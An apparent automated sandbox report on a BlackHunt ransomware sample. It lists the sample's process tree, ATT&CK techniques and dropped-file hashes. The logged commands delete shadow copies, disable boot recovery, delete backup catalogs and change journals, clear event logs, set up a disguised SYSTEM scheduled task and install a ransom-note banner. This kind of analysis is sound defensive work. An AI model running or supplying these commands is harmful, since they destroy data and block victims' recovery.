  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe" /F
  2⤵
  PID:2968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2204
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1088
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3028
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2408
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2484
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1756
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2780
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:576
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2036
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2784
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2800
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2964
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1692
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1712
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2676
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2972
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2920
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2496
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1600
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3060
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2296
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe"
  2⤵
  - Deletes itself
  PID:2672
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:2304

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:692

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
d31d0a2b7b74076ec6a6b2a9c1572ecf

SHA1
57fed45a71d36a3ddf64a8cb0663d8f44b3f75e5

SHA256
e37d9ffee114210e114ba4bcc20178ec537f12f2fec2acfb06ea4e6d9dbe820b

SHA512
6d93b5fabb36065a6d3c3bb3ccb88be5ee6484174c0ae9aa6cef6c96237dd6979a436c8811af90a22472e27ce4997b5db9b10f8026d946e79d37daa58b3eda18

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
af40da81c5d0516fb400d391fc1507bc

SHA1
f6310806f8513f63b81114b5b60a2c13e4c853c2

SHA256
6362e17cd2157b59a3db7e958a56a481d6255c355da187efcfb87015e9001a3c

SHA512
204f79a07a34dbf83a12e8966947ea98f12d4916aa002d383cffe428f18db1082edd1c08a9430acf8a4fc7d38d46c1db0899d51822d3db9fdf97ece31fa1bfdd

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
be04f4da329c3b2624e97fc6730ba875

SHA1
468854df84623f34ce7f20e03e2e53606a496056

SHA256
b7e20afaed8c05279adef54ea460c996a2191c090fcf371dc91ba03d170730a6

SHA512
382b8f8c61c9d963a491a1e8f1798e319fe1c526319bf6200025e9e0733ff21bc655ab8d3335f71dce1bae710c6501fa5bc2267dd99b09f736779c6b53c6a8d6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads